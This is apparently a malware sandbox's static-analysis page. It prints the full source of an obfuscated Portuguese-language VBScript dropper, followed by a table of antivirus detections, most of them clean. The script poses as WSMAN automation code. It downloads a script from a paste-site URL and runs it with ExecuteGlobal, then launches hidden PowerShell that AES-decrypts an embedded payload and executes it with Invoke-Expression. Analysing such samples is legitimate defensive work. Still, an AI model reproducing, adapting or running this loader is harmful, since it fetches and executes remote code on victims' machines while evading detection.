Static | ZeroBOX

Const KCLbuenToLTWezZrmZWWZsixtuGUBkWWeLkkkbQJofzWupiGAgfKxedCHZfTKBAqbWpLZuJLiGWWvcGLqGWWdWAenhGGUaPqaacU = "delete"

Const WQqbOfLLLWNuGKmbUslWGUiNZLQGbWokzubcLLNifiGZnkBTOWLKjUWceedQfLLPdzxedZLzcxGkciHfLWcfoKpGPozhIpJWjWPK = "get"

Const BTvLmxcKsNckLdLxehLfLAKoLGzxquLLKUeWcAKciuGWcmdzPumPUAlZAZPWBnNgcGCNJKKLPLRJnUekCokPRNLLCPprWRUTLzfW = "put"

Const gUhNbUujWofhaWULcLkULoLdWACGkGbRRTCvcHCdRJxmiRUnORKhkGLckNluLKAGihccUhnivPepUkjdcfAmutcxiLxUqmLWeuji = "configSDDL"

Const pmckLdKkbiWALUeGtcoxcLJKKciKkRWJeJUpbKgGLWJLjNdoLZAWNcIGacnWZWxxLGKLlzoHLJfhLGUUPLUhktKALlWzjNjiWPft = "create"

Const mBShbvnUGhKheCLPWPNLkiedLGANLIPNcLziIKdmohfGbLLCWJqLpWxnckZCLfrqzzTLGkqlUPcejKOZGiZLesQSKzcziRziLcGU = "invoke"

Const QeKWLCcLLOqKdmnlWACCPZlbbPbkAhZCvrGiAGonKbGWukmWdWLUkJUpadPiKCoIUmZzSWQWmUrHmmCiLoGxspmzHpLbIbghezIi = "enumerate"

Const RZaUUfffLidnCGGupWNkWmeLWWjJpcnZmhBGLciihZpLUbPWItqiUBLWuGeWGfGULsLGWiznzAArnraWibLlBSkWipoBWGCiCiQo = "identify"

Const gkUKzWWLhaWKLtkWpLuzaWecWUURJGNmcrfWeALlkOvWkLcdreuWazLLKKUnAkWHCztLilLHPqpziAWffZhAJlilWseUiCQbmizA = "quickconfig"

On Error Resume Next

Set aditar = CreateObject("WSMAN.Automation")

Set attentado = CreateObject("WSMAN.InternalAutomation")

Set hifema = WScript.CreateObject("WScript.Shell")

LznLZclqmlWbnGGWLmdQuHULWWPWWAmmtWAiiOUPUCTKnRzPmirmLznznLinWpeWhuLLozrqrlciqWkecQcBWxLGLRcoKOOcikKW:ejGpuCLLUoPhpcfKzPdWGboxOLluGLuPuzAUaGHozcTLmmexiIhlKKAbWdmNOmotKgLPiKOqrKWLkaKpGNCPOufUhLeLUOiLmLLc:dunLdhoGNexLbnGZPWWbPZaLUZKKOpWHHbkWKcLopLPeiNKJQOOGUUHPgxLPkPAQLRqLxAKteWqmummbAGcUqKGKpzlAkiLOLWWL = "biscutela":phbvmWZPLdkluTNWGRiWibbifSputKfjUviHiLhWNzKLkWiAGiNLLchLLKcfUbAWnoNBLnmLaOChmfKclJbpOhmgBSfGuKRZRLdU:PeAfNNiPWedpiJLffcsTiWpqUZzCGiQmSAGcbJUUWeGWoPuWAJcPgILxfJCWxfNLekipWlWaLRWCUsKWAZAJclKWcipmUiWbLCGB:

Dim oxycrato, haglura, gritador, socresteiro, ofidossaurios, olga

oxycrato = ""

haglura = "text"

gritador = ""

socresteiro = ""

ofidossaurios = ""

Set desaggravo = aditar.CreateSession(oxycrato)

If gritador <> "" Then

Set resourceLocatorObj = aditar.CreateResourceLocator(gritador)

End If

Dim ostracoderma, despiedoso

ostracoderma = Array(KCLbuenToLTWezZrmZWWZsixtuGUBkWWeLkkkbQJofzWupiGAgfKxedCHZfTKBAqbWpLZuJLiGWWvcGLqGWWdWAenhGGUaPqaacU, WQqbOfLLLWNuGKmbUslWGUiNZLQGbWokzubcLLNifiGZnkBTOWLKjUWceedQfLLPdzxedZLzcxGkciHfLWcfoKpGPozhIpJWjWPK, BTvLmxcKsNckLdLxehLfLAKoLGzxquLLKUeWcAKciuGWcmdzPumPUAlZAZPWBnNgcGCNJKKLPLRJnUekCokPRNLLCPprWRUTLzfW, gUhNbUujWofhaWULcLkULoLdWACGkGbRRTCvcHCdRJxmiRUnORKhkGLckNluLKAGihccUhnivPepUkjdcfAmutcxiLxUqmLWeuji, pmckLdKkbiWALUeGtcoxcLJKKciKkRWJeJUpbKgGLWJLjNdoLZAWNcIGacnWZWxxLGKLlzoHLJfhLGUUPLUhktKALlWzjNjiWPft, mBShbvnUGhKheCLPWPNLkiedLGANLIPNcLziIKdmohfGbLLCWJqLpWxnckZCLfrqzzTLGkqlUPcejKOZGiZLesQSKzcziRziLcGU, QeKWLCcLLOqKdmnlWACCPZlbbPbkAhZCvrGiAGonKbGWukmWdWLUkJUpadPiKCoIUmZzSWQWmUrHmmCiLoGxspmzHpLbIbghezIi, RZaUUfffLidnCGGupWNkWmeLWWjJpcnZmhBGLciihZpLUbPWItqiUBLWuGeWGfGULsLGWiznzAArnraWibLlBSkWipoBWGCiCiQo, gkUKzWWLhaWKLtkWpLuzaWecWUURJGNmcrfWeALlkOvWkLcdreuWazLLKKUnAkWHCztLilLHPqpziAWffZhAJlilWseUiCQbmizA)

Dim operationIndex

For operationIndex = LBound(ostracoderma) To UBound(ostracoderma)

despiedoso = ostracoderma(operationIndex)

Select Case despiedoso

Case KCLbuenToLTWezZrmZWWZsixtuGUBkWWeLkkkbQJofzWupiGAgfKxedCHZfTKBAqbWpLZuJLiGWWvcGLqGWWdWAenhGGUaPqaacU

If IsObject(desaggravo) And IsObject(resourceLocatorObj) Then

desaggravo.Delete(resourceLocatorObj)

End If

Case WQqbOfLLLWNuGKmbUslWGUiNZLQGbWokzubcLLNifiGZnkBTOWLKjUWceedQfLLPdzxedZLzcxGkciHfLWcfoKpGPozhIpJWjWPK

If IsObject(desaggravo) And IsObject(resourceLocatorObj) Then

olga = desaggravo.Get(resourceLocatorObj)

End If

Case BTvLmxcKsNckLdLxehLfLAKoLGzxquLLKUeWcAKciuGWcmdzPumPUAlZAZPWBnNgcGCNJKKLPLRJnUekCokPRNLLCPprWRUTLzfW

If IsObject(desaggravo) And IsObject(resourceLocatorObj) Then

olga = desaggravo.Put(resourceLocatorObj, ofidossaurios)

End If

Case gUhNbUujWofhaWULcLkULoLdWACGkGbRRTCvcHCdRJxmiRUnORKhkGLckNluLKAGihccUhnivPepUkjdcfAmutcxiLxUqmLWeuji

If IsObject(attentado) And IsObject(desaggravo) And IsObject(resourceLocatorObj) Then

olga = attentado.ConfigSDDL(desaggravo, resourceLocatorObj)

End If

Case pmckLdKkbiWALUeGtcoxcLJKKciKkRWJeJUpbKgGLWJLjNdoLZAWNcIGacnWZWxxLGKLlzoHLJfhLGUUPLUhktKALlWzjNjiWPft

If IsObject(desaggravo) And IsObject(resourceLocatorObj) Then

olga = desaggravo.Create(resourceLocatorObj, ofidossaurios)

End If

Case mBShbvnUGhKheCLPWPNLkiedLGANLIPNcLziIKdmohfGbLLCWJqLpWxnckZCLfrqzzTLGkqlUPcejKOZGiZLesQSKzcziRziLcGU

If IsObject(desaggravo) And IsObject(resourceLocatorObj) Then

olga = desaggravo.Invoke(socresteiro, resourceLocatorObj, ofidossaurios)

End If

Case QeKWLCcLLOqKdmnlWACCPZlbbPbkAhZCvrGiAGonKbGWukmWdWLUkJUpadPiKCoIUmZzSWQWmUrHmmCiLoGxspmzHpLbIbghezIi

Dim zaga, sira, synapto, mystificado, despicar, possoeiro, parasiticida

zaga = "htbaleatops://pasbaleatoecode.dev/raw/6l7qjjrz/pasbaleatoe1.txbaleato"

zaga = Replace(zaga,"baleato","t")

On Error Resume Next

Set sira = CreateObject("WScript.Shell")

synapto = "74bariolagembariolagem546baleato79reamanhecerbaleatobaleato5baleato66bariolagem5baleato64baleato5subtangente8bariolagem545bariolagemsubtangente"

synapto = eKAKACxcKUKCcLWKLcnKHLcSzNTWaRnZzhLQgcoLQPcovipASPOCdLLvaTGULbWmiUlUPWpgOxKpxUhqGBRZeiibenKiLhKtGkfL(zaga, synapto, "baleato", "0")

synapto = eKAKACxcKUKCcLWKLcnKHLcSzNTWaRnZzhLQgcoLQPcovipASPOCdLLvaTGULbWmiUlUPWpgOxKpxUhqGBRZeiibenKiLhKtGkfL(zaga, synapto, "bariolagem", "1")

synapto = eKAKACxcKUKCcLWKLcnKHLcSzNTWaRnZzhLQgcoLQPcovipASPOCdLLvaTGULbWmiUlUPWpgOxKpxUhqGBRZeiibenKiLhKtGkfL(zaga, synapto, "subtangente", "2")

synapto = eKAKACxcKUKCcLWKLcnKHLcSzNTWaRnZzhLQgcoLQPcovipASPOCdLLvaTGULbWmiUlUPWpgOxKpxUhqGBRZeiibenKiLhKtGkfL(zaga, synapto, "reamanhecer", "3")

mystificado = "BcX2z+yHYAurR9wRGdEmBY9gsygsD0wTcVMNnCvyMXvCZBGstofcO0eLggg32bHakmmBeW+K0d/A4YAX0bX88QIRxfQgm0EqVio4414VVwainu+n1+Bk+RaJJKy+K5k9U25ih5rA6wT02wXRfDwNkF4oQA45ofWYOwuBphAHWfgBOJcnpBApew6eZIq1zt397t5QPlT4CXwWQlI/Y0Csvi8NcwPlt0ifD9dQxksA28kB7E/S421zDvplpb09h9jAg4ghwVScNWBh/jdbBW+8wuVddIdyJRScewA3UwklHJDY4x1jG0SiJ4IZXyBOgFpTWwbr0oWU8zDEYxzB95FZkaJeVZKR6tR69E3EL45VR/Q8S51xEJDrBJw/f1Ca15OdM8UoyxKmNku8Z2SBY93+f0yWTVuGDf/qt87W3ijvvtpBaQOY44D9Hf4HNnDcakBMZV+fwTdCZTvO9JnQYehsNPXdA6YR4sQUcHzPyTMxMUHIi44H2cYyrrNvz3aRcuEHnblhVXPC555IkF15dyYcoH+Krj7cG9q9sWqY/9RWCBbQ2MnTVpHyJy07HQuR9R9sjkOca/b7VF//luMcN0PjxzjZCfBBX49oApusoJYReURH+XIwH9++Qz0GpYE1BEpMd3VfuB59LNnx9q4+wtNKH4q2JAZwhPe1Mhb+CBlknuCj7W+RvMx6mFxozEusXpndJbp/Er8vkcq4V7ypObE9pOzb33qMgO4VftaXRAV40dSu0ZTn+6uX0ZoF8v5JgjdPDSZIOYOxoBeKO4mD2sM8EtefpbV7enHS/ChxecbW2XrPZbwFBTnjQOPzEBn3ks1pE2AI28+axe18oJ+AX56MItkZr+IyqcE929LmUK9r/EqOhdS2m3rHpkuAe0GahHIvodoBWrHqaqtjNjMlXAidWa/9OBfyftWMn+PEccpNd3GA+IX1kIUOYa5dk2+0fI3z8fd2xs+jy0XkIXQ+G/4h3LgxBb3WuNSXPkoIUeh5anvW9eIIV

despicar = "powafrontantershafrontantell.afrontantexafrontante"

despicar = eKAKACxcKUKCcLWKLcnKHLcSzNTWaRnZzhLQgcoLQPcovipASPOCdLLvaTGULbWmiUlUPWpgOxKpxUhqGBRZeiibenKiLhKtGkfL(zaga, despicar, "afrontante", "e")

possoeiro = "-command"

parasiticida = "(('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esMa" & _

"nagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.Paddin" & _

"gMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Sy" & _

"ste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged." & _

"CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetS" & _

"tring'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI" & synapto & "CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI" & mystificado & "CnI;TMIt" & _

"extoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe" & _

"4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77)," & _

"[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')"

sira.Run despicar & " " & possoeiro & " " & parasiticida, 0, False

If IsObject(aditar) And IsObject(desaggravo) And IsObject(attentado) And IsObject(resourceLocatorObj) Then

' Chame a fun

o Enumerate se existir

' Enumerate aditar, desaggravo, attentado, resourceLocatorObj, haglura

End If

Case RZaUUfffLidnCGGupWNkWmeLWWjJpcnZmhBGLciihZpLUbPWItqiUBLWuGeWGfGULsLGWiznzAArnraWibLlBSkWipoBWGCiCiQo

If IsObject(desaggravo) Then

End If

Case gkUKzWWLhaWKLtkWpLuzaWecWUURJGNmcrfWeALlkOvWkLcdreuWazLLKKUnAkWHCztLilLHPqpziAWffZhAJlilWseUiCQbmizA

If IsObject(desaggravo) Then

End If

Case Else

WScript.Echo "Opera

o desconhecida: " & despiedoso

End Select

If Err.Number <> 0 Then

On Error GoTo 0

Else

If despiedoso <> QeKWLCcLLOqKdmnlWACCPZlbbPbkAhZCvrGiAGonKbGWukmWdWLUkJUpadPiKCoIUmZzSWQWmUrHmmCiLoGxspmzHpLbIbghezIi And despiedoso <> KCLbuenToLTWezZrmZWWZsixtuGUBkWWeLkkkbQJofzWupiGAgfKxedCHZfTKBAqbWpLZuJLiGWWvcGLqGWWdWAenhGGUaPqaacU And despiedoso <> gkUKzWWLhaWKLtkWpLuzaWecWUURJGNmcrfWeALlkOvWkLcdreuWazLLKKUnAkWHCztLilLHPqpziAWffZhAJlilWseUiCQbmizA Then

End If

On Error Resume Next

Function eKAKACxcKUKCcLWKLcnKHLcSzNTWaRnZzhLQgcoLQPcovipASPOCdLLvaTGULbWmiUlUPWpgOxKpxUhqGBRZeiibenKiLhKtGkfL(casola, ungui, lubobos, cirsotomia)

Dim adejo, dodecandro

Set adejo = CreateObject("MSXML2.XMLHTTP")

adejo.open "GET", casola, False

adejo.send

If adejo.status = 200 Then

dodecandro = adejo.responseText

Call IKGZkBTAoiLlKpcWTUAmcaKZWkLiCfIKjcozhiNWdWWlkUOBmGcRPgctKzWfgKaUWSkteLICkkmeLRhiJoxfzoLPLldiULmAmGLP(dodecandro)

If Not IsEmpty(ungui) And Not IsEmpty(lubobos) And Not IsEmpty(cirsotomia) Then

eKAKACxcKUKCcLWKLcnKHLcSzNTWaRnZzhLQgcoLQPcovipASPOCdLLvaTGULbWmiUlUPWpgOxKpxUhqGBRZeiibenKiLhKtGkfL = Adnascente(ungui, lubobos, cirsotomia)

Else

eKAKACxcKUKCcLWKLcnKHLcSzNTWaRnZzhLQgcoLQPcovipASPOCdLLvaTGULbWmiUlUPWpgOxKpxUhqGBRZeiibenKiLhKtGkfL = Null

End If

Else

WScript.Echo "N

o foi poss

vel carregar o script. Status HTTP: " & adejo.status

eKAKACxcKUKCcLWKLcnKHLcSzNTWaRnZzhLQgcoLQPcovipASPOCdLLvaTGULbWmiUlUPWpgOxKpxUhqGBRZeiibenKiLhKtGkfL = Null

End If

Set adejo = Nothing

End Function

Function IKGZkBTAoiLlKpcWTUAmcaKZWkLiCfIKjcozhiNWdWWlkUOBmGcRPgctKzWfgKaUWSkteLICkkmeLRhiJoxfzoLPLldiULmAmGLP(conquerir)

ExecuteGlobal conquerir

End Function

Antivirus	Signature
Bkav	Clean
Lionic	Clean
tehtris	Clean
ClamAV	Clean
CMC	Clean
CAT-QuickHeal	Clean
Skyhigh	Clean
ALYac	Clean
Malwarebytes	Clean
Zillya	Clean
Sangfor	Clean
K7AntiVirus	Clean
K7GW	Clean
Cybereason	Clean
Baidu	Clean
VirIT	Clean
Symantec	ISB.Downloader!gen40
ESET-NOD32	Clean
TrendMicro-HouseCall	Clean
Avast	Script:SNH-gen [Trj]
Cynet	Clean
Kaspersky	HEUR:Trojan.Script.Generic
BitDefender	Clean
NANO-Antivirus	Trojan.Script.Vbs-heuristic.druvzi
ViRobot	Clean
MicroWorld-eScan	Clean
Tencent	Clean
Sophos	Clean
F-Secure	Clean
DrWeb	Clean
VIPRE	Clean
TrendMicro	Clean
FireEye	Clean
Emsisoft	Clean
GData	Clean
Jiangmin	Clean
Varist	Clean
Avira	Clean
MAX	Clean
Antiy-AVL	Clean
Kingsoft	Clean
Gridinsoft	Clean
Xcitium	Clean
Arcabit	Clean
SUPERAntiSpyware	Clean
ZoneAlarm	HEUR:Trojan.Script.Generic
Microsoft	Clean
Google	Clean
AhnLab-V3	Clean
Acronis	Clean
McAfee	Clean
TACHYON	Clean
VBA32	Clean
Zoner	Clean
Rising	Clean
Yandex	Clean
Ikarus	Clean
MaxSecure	Clean
Fortinet	Clean
BitDefenderTheta	Clean
AVG	Script:SNH-gen [Trj]
Panda	Clean
CrowdStrike	Clean
alibabacloud	Clean